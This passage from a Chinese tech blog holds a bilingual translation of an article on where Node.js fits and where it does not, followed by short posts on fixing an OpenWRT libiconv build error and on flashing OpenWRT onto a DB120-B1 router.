Let’s get back to the application level. Another example where desktop software dominates, but could be easily replaced with a real-time web solution is brokers’ trading software, used to track stocks prices, perform calculations/technical analysis, and create graphs/charts.

让我们继续讨论应用程序这块。实时网络的解决方案可以很轻松的实现证券交易软件————用于跟踪股票的价格,执行计算、做技术分析,同时生成报表。(省略了)

Switching to a real-time web-based solution would allow brokers to easily switch workstations or working places. Soon, we might start seeing them on the beach in Florida.. or Ibiza.. or Bali.

使用一个实时的的基于网页的解决方案,将会允许炒股的人轻松的切换工作软件以及工作地点。相信不久,我们就可以看到这个东西出现在 Florida 或者 Ibiza 又或者是 Bali 上面。

APPLICATION MONITORING DASHBOARD

Another common use-case in which Node-with-web-sockets fits perfectly: tracking website visitors and visualizing their interactions in real-time. (If you’re interested, this idea is already being productized by Hummingbird.)

另一种常见的用例中,使用 Node+Web+Socket 非常适合:跟踪网站访问者并且可视化实时它们之间的实时交互。 (如果你有兴趣,可以去看看 Hummingbird

You could be gathering real-time stats from your user, or even moving it to the next level by introducing targeted interactions with your visitors by opening a communication channel when they reach a specific point in your funnel. (If you’re interested, this idea is already being productized by CANDDi.)

你可能需要采集用户的实时状态, 或者甚至当他们到达渠道中某个特定的点时, 打开一个交流频道, 通过有针对性的互动介绍移动到下一个阶段. (如果你感兴趣的话,推荐你看看 CANDDi

Imagine how you could improve your business if you knew what your visitors were doing in real-time—if you could visualize their interactions. With the real-time, two-way sockets of Node.js, now you can.

想象一下,如果你知道你的访客的实时操作,如果你能想象它们之间的相互作用。随着实时的、双向 socket 通信的 Node.js 现在你也可以做到了。

SYSTEM MONITORING DASHBOARD

系统监控仪表

Now, let’s visit the infrastructure side of things. Imagine, for example, an SaaS provider that wants to offer its users a service-monitoring page (e.g., GitHub’s status page). With the Node.js event-loop, we can create a powerful web-based dashboard that checks the services’ statuses in an asynchronous manner and pushes data to clients using websockets.

现在,让我们看看事情的基础设施方面。想象一下,比如,希望为其用户提供服务监控页面(例如,GitHub上的状态页)的 SaaS 运营商 。通过 Node.js 的事件循环,我们可以创建一个基于 Web 的功能强大的仪表板,以异步方式检查服务状态并且使用的 WebSockets 将数据推送到客户端。

Both internal (intra-company) and public services’ statuses can be reported live and in real-time using this technology. Push that idea a little further and try to imagine a Network Operations Center (NOC) monitoring applications in a telecommunications operator, cloud/network/hosting provider, or some financial institution, all run on the open web stack backed by Node.js and websockets instead of Java and/or Java Applets.

内部(公司内部)和公共服务的状态都可以使用该项技术实时的上报。让我们把这一想法延伸的远一点,试着想象一个电信运营商中网络运营中心(NOC)的监控应用。云/网络/服务器运营商,或者一些金融机构,全都运行在这个由 Node.js 和 WebSocket 组成的应用上,而不是 Java 和/或 Java Applet。

Note: Don’t try to build hard real-time systems in Node (i.e., systems requiring consistent response times). Erlang is probably a better choice for that class of application.

注意:不要尝试使用 Node 打造硬实时系统(即,响应时间要求一致的系统)。 Erlang是可能是该类应用程序的更好的选择。

什么地方可以使用 Node.js

服务端 WEB 应用

Node.js with Express.js can also be used to create classic web applications on the server-side. However, while possible, this request-response paradigm in which Node.js would be carrying around rendered HTML is not the most typical use-case. There are arguments to be made for and against this approach. Here are some facts to consider:

通过 Node.js 使用 Express.js 也可以用来创建服务端上的典型的网页应用。然而,虽然有可能,使用 Node.js 来进行请求+响应的形式来呈现 HTML 并不是最典型的用例。有人赞成也有人反对这一做法。这里有一些看法以供参考:

优点:

If your application doesn’t have any CPU intensive computation, you can build it in Javascript top-to-bottom, even down to the database level if you use JSON storage Object DB like MongoDB. This eases development (including hiring) significantly.

如果你不需要进行 CPU密集型计算,你可以从头到尾甚至是数据库(比如 MongoDB)都使用 Javascript 来开发。这显著地减轻了开发工序(包括成本)。

Crawlers receive a fully-rendered HTML response, which is far more SEO-friendly than, say, a Single Page Application or a websockets app run on top of Node.js.

对于一个使用 Node.js 作为服务端的单页应用或者 websocket 应用,爬虫可以收到一个完全 HTML 呈现的响应,这是更为SEO友好的。

缺点:

Any CPU intensive computation will block Node.js responsiveness, so a threaded platform is a better approach. Alternatively, you could try scaling out the computation [*].

任何CPU密集型的计算都将阻碍 Node.js 的反应,所以使用多线程的平台是一个更好的方法。或者,您也可以尝试向外扩展的计算[*]。

Using Node.js with a relational database is still quite a pain (see below for more detail). Do yourself a favour and pick up any other environment like Rails, Django, or ASP.Net MVC if you’re trying to perform relational operations.

Node.js 使用关系型数据库依旧十分痛苦(详细见下方)。拜托了,如果你想执行关系型数据操作,请考虑别的环境:Rails, Django 甚至 ASP.NET MVC 。。。。

[*] An alternative to these CPU intensive computations is to create a highly scalable MQ-backed environment with back-end processing to keep Node as a front-facing ‘clerk’ to handle client requests asynchronously.

【*】另一种解决方案是,为这些CPU密集型的计算建立一个高度可扩展的MQ支持的环境与后端处理,以保持 Node 作为一个前台秘书来异步处理客户端请求。

Node.js 不应该在什么地方使用

使用关系型数据库的服务端 WEB 应用

Comparing Node.js with Express.js against Ruby on Rails, for example, there is a clean decision in favour of the latter when it comes to relational data access.

对比 Node.js 上的 Express.js 和 Ruby on Rails,当你使用关系型数据库的时候请毫不犹豫的选择后者。

Relational DB tools for Node.js are still in their early stages; they’re rather immature and not as pleasant to work with. On the other hand, Rails automagically provides data access setup right out of the box together with DB schema migrations support tools and other Gems (pun intended). Rails and its peer frameworks have mature and proven Active Record or Data Mapper data access layer implementations, which you’ll sorely miss if you try to replicate them in pure JavaScript.[*]

Node.js 的关系数据库工具仍处于早期阶段,目前还不成熟。另一方面来说,这个没用 rails 没太清楚这里说的是哪个点。

Still, if you’re really inclined to remain JS all-the-way (and ready to pull out some of your hair), keep an eye on Sequelize and Node ORM2—both are still immature, but they may eventually catch up.

不过,如果你真的倾向于全部使用 JS(并且做好可能抓狂的准备),那么请继续关注 Sequelize 和 Node ORM2 ,虽然这两者仍然不成熟的,但他们最终会迎头赶上。

[*] It’s possible and not uncommon to use Node solely as a front-end, while keeping your Rails back-end and its easy-access to a relational DB.

[*] 使用 Node 光是作为前端而 Rails 做后端来连接关系型数据库,这是完全有可能也并不少见的。(笔者注:国外有种说法,PHP这一类程序员也可以算作是前端)

HEAVY SERVER-SIDE COMPUTATION/PROCESSING

繁重的服务端的计算和处理

When it comes to heavy computation, Node.js is not the best platform around. No, you definitely don’t want to build a Fibonacci computation server in Node.js. In general, any CPU intensive operation annuls all the throughput benefits Node offers with its event-driven, non-blocking I/O model because any incoming requests will be blocked while the thread is occupied with your number-crunching.

当涉及到大量的计算,Node.js 就不是最佳的解决方案。你肯定不希望使用 Node.js 建立一个斐波那契数的计算服务。一般情况下,任何 CPU密集型操作 会削弱掉 Node通过事件驱动, 异步 I/O 模型等等 带来的吞吐量好处,因为当线程被非异步的高计算量占用时任何传入的请求将被阻塞。

As stated previously, Node.js is single-threaded and uses only a single CPU core. When it comes to adding concurrency on a multi-core server, there is some work being done by the Node core team in the form of a cluster module [ref: http://nodejs.org/api/cluster.html%5D. You can also run several Node.js server instances pretty easily behind a reverse proxy via nginx.

正如前面所说,Node.js 是单线程的,只使用一个单一的CPU核心。至于,涉及到服务器上多核并发处理,Node 的核心团队已经使用 cluster 模块的形式在这一方面做了一些工作 [参考:http://nodejs.org/api/cluster.html]。当然,您也可以很容易的通过 nginx 的反向代理运行多个 Node.js 的服务器实例来避免单一线程阻塞的问题。

With clustering, you should still offload all heavy computation to background processes written in a more appropriate environment for that, and having them communicate via a message queue server like RabbitMQ.

关于集群(clustering) ,你应该将所有繁重的计算转移到更合适的语言写的后台进程来处理,同时让他们通过像 RabbitMQ 那样通过消息队列服务器来进行通信。

Even though your background processing might be run on the same server initially, such an approach has the potential for very high scalability. Those background processing services could be easily distributed out to separate worker servers without the need to configure the loads of front-facing web servers.

即使你的后台处理可能最初运行在同一台服务器上时看不出什么优点,但是这样的做法具有非常高的可扩展性的潜力。这些后台处理服务可以容易地分割出去,作为单独的 worker 服务器,而不需要配置的入口的 web服务器的负载。

Of course, you’d use the same approach on other platforms too, but with Node.js you get that high reqs/sec throughput we’ve talked about, as each request is a small task handled very quickly and efficiently.

当然,你也可以在其他语言平台上用同样的方法,但使用 Node.js 你可以得到很高的吞吐量,每个请求都作为一个小任务非常迅速和高效地处理,这一点我们已经讨论过了。

结论

We’ve discussed Node.js from theory to practice, beginning with its goals and ambitions, and ending with its sweet spots and pitfalls. When people run into problems with Node, it almost always boils down to the fact that blocking operations are the root of all evil—99% of Node misuses come as a direct consequence.

我们已经从理论到实践讨论过 Node.js 了,从它的目标和野心,到他的优点和缺点。在 Node.js 的开发中99%的问题是由误用阻塞操作是造成。

Remember: Node.js was never created to solve the compute scaling problem. It was created to solve the I/O scaling problem, which it does really well.

请记住:Node.js 从来不是用于解决计算结垢问题而创建的。它的出现是为了解决了 I/O 的结垢问题,并且在这一点上做的非常好。

So, give it some thought: if your use case does not contain CPU intensive operations nor access any blocking resources, you can exploit the benefits of Node.js and enjoy fast and scalable network applications. Welcome to the real-time web.

综上,如果你项目需求中不包含CPU密集型操作也不需要访问任何阻塞的资源,那么你就可以利用的 Node.js 的优点,尽情的享受快速、可扩展的网络应用。

原文链接:http://www.toptal.com/nodejs/why-the-hell-would-i-use-node-js

OpenWRT 编译 error GNU libiconv not in use but included iconv.h is from libiconv

编译的时候碰到一个常见的错误,但是却在一个陌生的地方爆出来:

gconvert.c:55:2: error: #error GNU libiconv not in use but included iconv.h is from libiconv

google 了一下资料还挺多,总之就是没搜到 OpenWRT 相关的,于是各种想法都有。后来才发现确实是自己不注意被绕进去了。其实依旧是用很常规的手段解决,

cd /home/lellansin/OpenWRT/svn/trunk/build_dir/host/pkg-config-0.28/glib
./configure --enable-iconv=no --with-libiconv=gnu
make
cd /home/lellansin/OpenWRT/svn/trunk/
make # 继续编译 OpenWRT

开始一下没绕过来,因为在 trunk 目录下没有 configure 文件。纠结了半天,还试过删除自带的 iconv 等等各种黑操作,最后想,这 gconvert.o 编译不出来。咱去下载一个编译成功后拷贝过来就是。想到这里才突然意识到 OpenWRT 里面应该是有源码的,然后找过去果然找到了 glib 的 configure。

总结:以后编译大一点项目报错,第一时间先跑去看报错子项的 configure

DB120-B1 OpenWRT 刷机记录

网上搜些资料, 不少我辈同胞直接把路由器刷成了砖头, 第一次干这事也有些忐忑, 直接就是用网线刷的, 没有使用 usb-ttl, 结果没想到就刷了两次就成功了.

准备工作

刷机步骤

  • 1. 设置自己的 ip 地址为 192.168.1.10 (同网段也可以)
  • 2. 打开 cmd, 直接命令 ping 192.168.1.1 -t
  • 3. 关闭路由的电源, 用牙签先顶住RST键, 然后打开电源 (切勿松开RST), 持续按住20秒钟 (DB120红色电源灯常亮). 当 cmd 上可以 ping 通的时候便松开RST键
  • 4. 打开浏览器访问 http://192.168.1.1, 界面如下

1

选择开始下载的固件, 上传成功之后会跳转到如下界面.

2

大概等待 2分钟之后当 cmd 上的 log 告诉你可以 ping 通的时候便意味着已经刷机成功.

可以访问 http://192.168.1.1 查看

3

默认账户 root 密码 admin

此时也可以使用 putty 远程登录了.

4